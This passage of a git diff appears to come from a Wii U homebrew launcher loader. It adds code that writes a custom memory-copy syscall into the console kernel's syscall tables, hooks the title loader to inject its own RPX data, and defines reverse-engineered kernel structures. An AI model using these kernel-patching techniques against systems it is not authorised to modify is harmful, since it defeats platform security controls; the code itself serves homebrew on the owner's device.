volatile("mtdbatu 0, %0" : : "r" (dbatu0)); + asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); + asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); + asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); + asm volatile("eieio; isync"); +} + +// This function is called every time after LiBounceOneChunk. +// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address +// and return the still remaining bytes to load. +// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. +static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) +{ + unsigned int result; + register int core_id; + int remaining_bytes = 0; + + int sgFileOffset; + int sgBufferNumber; + int *sgBounceError; + int *sgGotBytes; + int *sgTotalBytes; + int *sgIsLoadingBuffer; + int *sgFinishedLoadingBuffer; + + // get the current core + asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); + + // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) + unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); + + // Comment (Dimok): + // time measurement at this position for logger -> we don't need it right now except maybe for debugging + //unsigned long long systemTime1 = Loader_GetSystemTime(); + + if(OS_FIRMWARE == 550) + { + // pointer to global variables of the loader + loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); + + sgBufferNumber = loader_globals->sgBufferNumber; + sgFileOffset = loader_globals->sgFileOffset; + sgBounceError = &loader_globals->sgBounceError; + sgGotBytes = &loader_globals->sgGotBytes; + sgTotalBytes = &loader_globals->sgTotalBytes; + sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; + // not available on 5.5.x + sgIsLoadingBuffer = NULL; + } + else + { + // pointer to global variables of the loader + loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); + + sgBufferNumber = loader_globals->sgBufferNumber; + sgFileOffset = loader_globals->sgFileOffset; + sgBounceError = &loader_globals->sgBounceError; + sgGotBytes = &loader_globals->sgGotBytes; + sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; + // not available on < 5.5.x + sgTotalBytes = NULL; + sgFinishedLoadingBuffer = NULL; + } + + // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data + if(gDynloadInitialized != 0) { + result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); + + } + else { + result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); + } + + // Comment (Dimok): + // time measurement at this position for logger -> we don't need it right now except maybe for debugging + //unsigned long long systemTime2 = Loader_GetSystemTime(); + + //------------------------------------------------------------------------------------------------------------------ + // Start of our function intrusion: + // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, + // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 + // Do this only if we are in the game that was launched by our method + s_mem_area *mem_area = MEM_AREA_TABLE; + if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) + { + unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); + unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 + + remaining_bytes = ELF_DATA_SIZE - sgFileOffset; + if (remaining_bytes > 0x400000) + // truncate size + remaining_bytes = 0x400000; + + DCFlushRange((void*)load_address, remaining_bytes); + + u32 rpxBlockPos = 0; + u32 done = 0; + u32 mapOffset = 0; + + while((done < (u32)sgFileOffset) && mem_area) + { + if((done + mem_area->size) > (u32)sgFileOffset) + { + mapOffset = sgFileOffset - done; + done = sgFileOffset; + } + else + { + done += mem_area->size; + mem_area = mem_area->next; + } + } + + while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) + { + u32 address = mem_area->address + mapOffset; + u32 blockSize = ELF_DATA_SIZE - done; + + if(blockSize > (0x400000 - rpxBlockPos)) + { + blockSize = 0x400000 - rpxBlockPos; + } + if((mapOffset + blockSize) >= mem_area->size) + { + blockSize = mem_area->size - mapOffset; + mem_area = mem_area->next; + mapOffset = 0; + } + + SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); + done += blockSize; + rpxBlockPos += blockSize; + mapOffset += blockSize; + } + + DCInvalidateRange((void*)load_address, remaining_bytes); + + if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) + { + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + MAIN_ENTRY_ADDR = 0xC001C0DE; + } + // set result to 0 -> "everything OK" + result = 0; + } + + // end of our little intrusion into this function + //------------------------------------------------------------------------------------------------------------------ + + // set the result to the global bounce error variable + if(sgBounceError) { + *sgBounceError = result; + } + + // disable global flag that buffer is still loaded by IOSU + if(sgFinishedLoadingBuffer) + { + unsigned int zeroBitCount = 0; + asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); + *sgFinishedLoadingBuffer = zeroBitCount >> 5; + } + else if(sgIsLoadingBuffer) + { + *sgIsLoadingBuffer = 0; + } + + // check result for errors + if(result == 0) + { + // the remaining size is set globally and in stack variable only + // if a pointer was passed to this function + if(iRemainingBytes) { + if(sgGotBytes) { + *sgGotBytes = remaining_bytes; + } + + *iRemainingBytes = remaining_bytes; + + // on 5.5.x a new variable for total loaded bytes was added + if(sgTotalBytes) { + *sgTotalBytes += remaining_bytes; + } + } + // Comment (Dimok): + // calculate time difference and print it on logging how long the wait for asynchronous data load took + // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap + } + else { + // Comment (Dimok): + // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P + } + return result; +} + +void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) +{ + if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) + { + xmlKernelInfo->max_size = RPX_MAX_SIZE; + xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; + //! setup our hook to LiWaitOneChunk for RPX loading + hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; + KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); + asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); + } + else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ + { + //! restore original LiWaitOneChunk instruction as our RPX is done + MAIN_ENTRY_ADDR = 0xDEADC0DE; + KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); + asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); + } +} + static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) { int iFd = -1; @@ -66,19 +389,15 @@ static int LoadFileToMem(private_data_t *private_data, const char *filepath, uns int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); if (status != 0) { private_data->OSFatal("FSGetMountSource failed."); - break; } status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if(status != 0) { private_data->OSFatal("SD mount failed."); - break; } status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) - { - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - break; + if(status != 0) { + private_data->OSFatal("FSOpenFile failed."); } FSStat stat; @@ -90,9 +409,8 @@ static int LoadFileToMem(private_data_t *private_data, const char *filepath, uns if(stat.size > 0) pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - - if(!pBuffer) - private_data->OSFatal("Not enough memory for ELF file."); + else + private_data->OSFatal("ELF file empty."); unsigned int done = 0; @@ -150,25 +468,19 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char continue; if(phdrs[i].p_filesz > phdrs[i].p_memsz) - return 0; + continue; if(!phdrs[i].p_filesz) continue; unsigned int p_paddr = phdrs[i].p_paddr; - - // use correct offset address for executables and data access - if(phdrs[i].p_flags & PF_X) - p_paddr += CODE_RW_BASE_OFFSET; - else - p_paddr += DATA_RW_BASE_OFFSET; - image = (unsigned char *) (elfstart + phdrs[i].p_offset); - private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); + + private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); + DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); if(phdrs[i].p_flags & PF_X) - private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); + ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); } //! clear BSS @@ -179,15 +491,31 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') { private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); } } + //! setup hooks + kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); + kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); + kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); + kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); + kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); + + //! store physical address for later use + addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk); + + u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; + DCFlushRange(&addr_my_PrepareTitle_hook, 4); + + //! create our copy syscall + SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); + return ehdr->e_entry; } @@ -213,9 +541,10 @@ static void loadFunctionPointers(private_data_t * private_data) OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); + OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical); OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); @@ -237,8 +566,10 @@ static void loadFunctionPointers(private_data_t * private_data) int _start(int argc, char **argv) { + private_data_t private_data; + + if(MAIN_ENTRY_ADDR != 0xC001C0DE) { - private_data_t private_data; loadFunctionPointers(&private_data); while(1) @@ -252,6 +583,7 @@ int _start(int argc, char **argv) private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); private_data.MEMFreeToDefaultHeap(pElfBuffer); + } ELF_DATA_ADDR = 0xDEADC0DE; ELF_DATA_SIZE = 0; @@ -259,30 +591,38 @@ int _start(int argc, char **argv) if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) + if(HBL_CHANNEL) { - private_data.OSFatal("Could not load file " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); + break; } else { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); + unsigned char *pElfBuffer = NULL; + unsigned int uiElfSize = 0; - if(MAIN_ENTRY_ADDR == 0) + LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize); + + if(!pElfBuffer) { - private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf"); + private_data.OSFatal("Failed to load homebrew_launcher.elf"); + } + else + { + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + if(MAIN_ENTRY_ADDR == 0) + { + private_data.OSFatal("Failed to load homebrew_launcher.elf"); + } + else + { + private_data.MEMFreeToDefaultHeap(pElfBuffer); + } } } } else { int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - //! exit to miimaker and restart application on re-enter of another application if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) { @@ -293,12 +633,20 @@ int _start(int argc, char **argv) { MAIN_ENTRY_ADDR = 0xDEADC0DE; private_data.SYSRelaunchTitle(0, 0); - private_data.exit(); + private_data.exit(0); break; } } } } - return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); + int ret = ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv); + + //! if an application returns and was an RPX launch then launch HBL again + if(MAIN_ENTRY_ADDR == 0xC001C0DE) + { + private_data.SYSRelaunchTitle(0, 0); + private_data.exit(0); + } + return ret; } diff --git a/hbl_loader/sd_loader/src/kernel_defs.h b/hbl_loader/sd_loader/src/kernel_defs.h new file mode 100644 index 0000000..a1cce49 --- /dev/null +++ b/hbl_loader/sd_loader/src/kernel_defs.h @@ -0,0 +1,75 @@ +#ifndef __KERNEL_DEFS_H_ +#define __KERNEL_DEFS_H_ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// original structure in the kernel that is originally 0x1270 long +typedef struct +{ + uint32_t version_cos_xml; // version tag from cos.xml + uint64_t os_version; // os_version from app.xml + uint64_t title_id; // title_id tag from app.xml + uint32_t app_type; // app_type tag from app.xml + uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) + char rpx_name[0x1000]; // rpx name from cos.xml + uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) + uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 + uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app + uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) + uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) + uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) + uint32_t max_codesize; // max_codesize in cos.xml + uint32_t overlay_arena; // overlay_arena in cos.xml + uint32_t unknown4[59]; // all zeros it seems + uint32_t default_stack0_size; // not sure because always 0 but very likely + uint32_t default_stack1_size; // not sure because always 0 but very likely + uint32_t default_stack2_size; // not sure because always 0 but very likely + uint32_t default_redzone0_size; // not sure because always 0 but very likely + uint32_t default_redzone1_size; // not sure because always 0 but very likely + uint32_t default_redzone2_size; // not sure because always 0 but very likely + uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker + uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker + uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker + uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker + uint32_t title_version; // from app.xml, 0x32 on mii maker + /* + // --------------------------------------------------------------------------------------------------------------------------------------------- + // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... + // --------------------------------------------------------------------------------------------------------------------------------------------- + char mlc[4]; // string "mlc" on mii maker and sysmenu + uint32_t unknown5[7]; // all zeros on mii maker and sysmenu + uint32_t unknown6_one; // 0x01 on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char ACP[4]; // string "ACP" on mii maker and sysmenu + uint32_t unknown7[15]; // all zeros on mii maker and sysmenu + uint32_t unknown8_5; // 0x05 on mii maker and sysmenu + uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char UVD[4]; // string "UVD" on mii maker and sysmenu + uint32_t unknown11[15]; // all zeros on mii maker and sysmenu + uint32_t unknown12_5; // 0x05 on mii maker and sysmenu + uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + char SND[4]; // string "SND" on mii maker and sysmenu + uint32_t unknown15[15]; // all zeros on mii maker and sysmenu + uint32_t unknown16_5; // 0x05 on mii maker and sysmenu + uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu + uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu + // --------------------------------------------------------------------------------------------------------------------------------------------- + uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu + */ + // after that only zeros follow +} __attribute__((packed)) CosAppXmlInfo; + + +#ifdef __cplusplus +} +#endif + +#endif // __KERNEL_DEFS_H_ diff --git a/hbl_loader/sd_loader/src/kernel_hooks.S b/hbl_loader/sd_loader/src/kernel_hooks.S index 7f70ebb..0d7f11f 100644 --- a/hbl_loader/sd_loader/src/kernel_hooks.S +++ b/hbl_loader/sd_loader/src/kernel_hooks.S @@ -27,3 +27,43 @@ SaveAndResetDataBATs_And_SRs_hook: mtsr 7, r5 # jump back to the position in kernel after our patch (from LR) bctr + +.extern my_PrepareTitle + .globl my_PrepareTitle_hook +my_PrepareTitle_hook: + # store all registers on stack to avoid issues with the call to C functions + stwu r1, -0x90(r1) + # registers for our own usage + # just store everything + stmw r3, 0x10(r1) + + # save the LR from where we came + mflr r31 + + # the cos.xml/app.xml structure is at the location 0x68 of r11 + # there are actually many places that can be hooked for it + # e.g. 0xFFF16130 and r27 points to this structure + addi r3, r11, 0x68 + + bl my_PrepareTitle + + # setup LR to jump back to kernel code + mtlr r31 + + # restore all original values of registers from stack + lmw r3, 0x10(r1) + + # restore the stack + addi r1, r1, 0x90 + + # restore original instruction that we replaced in the kernel + clrlwi r7, r12, 0 + + # jump back + blr + + .globl SC0x25_KernelCopyData +SC0x25_KernelCopyData: + li r0, 0x2500 + sc + blr diff --git a/hbl_loader/sd_loader/src/link.ld b/hbl_loader/sd_loader/src/link.ld index f57f59b..1d82ead 100644 --- a/hbl_loader/sd_loader/src/link.ld +++ b/hbl_loader/sd_loader/src/link.ld @@ -13,10 +13,11 @@ SECTIONS { .data : { *(.rodata*); *(.data*); + *(.bss*); } /DISCARD/ : { *(*); } } -ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf."); +ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1300, "Memory overlapping with main elf."); diff --git a/hbl_loader/sd_loader/src/loader_defs.h b/hbl_loader/sd_loader/src/loader_defs.h new file mode 100644 index 0000000..b71514f --- /dev/null +++ b/hbl_loader/sd_loader/src/loader_defs.h @@ -0,0 +1,38 @@ +#ifndef __LOADER_DEFS_H_ +#define __LOADER_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +// struct holding the globals of the loader (there are actually more but we don't need others) +typedef struct _loader_globals_t +{ + int sgIsLoadingBuffer; + int sgFileType; + int sgProcId; + int sgGotBytes; + int sgFileOffset; + int sgBufferNumber; + int sgBounceError; + char sgLoadName[0x1000]; +} __attribute__((packed)) loader_globals_t; + +typedef struct _loader_globals_550_t +{ + int sgFinishedLoadingBuffer; + int sgFileType; + int sgProcId; + int sgGotBytes; + int sgTotalBytes; + int sgFileOffset; + int sgBufferNumber; + int sgBounceError; + char sgLoadName[0x1000]; +} __attribute__((packed)) loader_globals_550_t; + +#ifdef __cplusplus +} +#endif + +#endif // __LOADER_DEFS_H_ diff --git a/zip/LICENSE b/zip/LICENSE new file mode 100644 index 0000000..bcfe47e --- /dev/null +++ b/zip/LICENSE @@ -0,0 +1,60 @@ +This is version 2007-Mar-4 of the Info-ZIP license. +The definitive version of this document should be available at +ftp://ftp.info-zip.org/pub/infozip/license.html indefinitely and +a copy at http://www.info-zip.org/pub/infozip/license.html. + + +Copyright (c) 1990-2007 Info-ZIP. All rights reserved. + +For the purposes of this copyright and license, "Info-ZIP" is defined as +the following set of individuals: + + Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, + Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, + Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, + David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, + Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, + Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, + Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, + Rich Wales, Mike White. + +This software is provided "as is," without warranty of any kind, express +or implied. In no event shall Info-ZIP or its contributors be held liable +for any direct, indirect, incidental, special or consequential damages +arising out of the use of or inability to use this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the above disclaimer and the following restrictions: + + 1. Redistributions of source code (in whole or in part) must retain + the above copyright notice, definition, disclaimer, and this list + of conditions. + + 2. Redistributions in binary form (compiled executables and libraries) + must reproduce the above copyright notice, definition, disclaimer, + and this list of conditions in documentation and/or other materials + provided with the distribution. The sole exception to this condition + is redistribution of a standard UnZipSFX binary (including SFXWiz) as + part of a self-extracting archive; that is permitted without inclusion + of this license, as long as the normal SFX banner has not been removed + from the binary or disabled. + + 3. Altered versions--including, but not limited to, ports to new operating + systems, existing ports with new graphical interfaces, versions with + modified or added functionality, and dynamic, shared, or static library + versions not from Info-ZIP--must be plainly marked as such and must not + be misrepresented as being the original source or, if binaries, + compiled from the original source. Such altered versions also must not + be misrepresented as being Info-ZIP releases--including, but not + limited to, labeling of the altered versions with the names "Info-ZIP" + (or any variation thereof, including, but not limited to, different + capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the + explicit permission of Info-ZIP. Such altered versions are further + prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP + e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP + will provide support for the altered versions. + + 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," + "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its + own source and binary releases. diff --git a/zip/zip.exe b/zip/zip.exe new file mode 100644 index 0000000..65de183 Binary files /dev/null and b/zip/zip.exe differ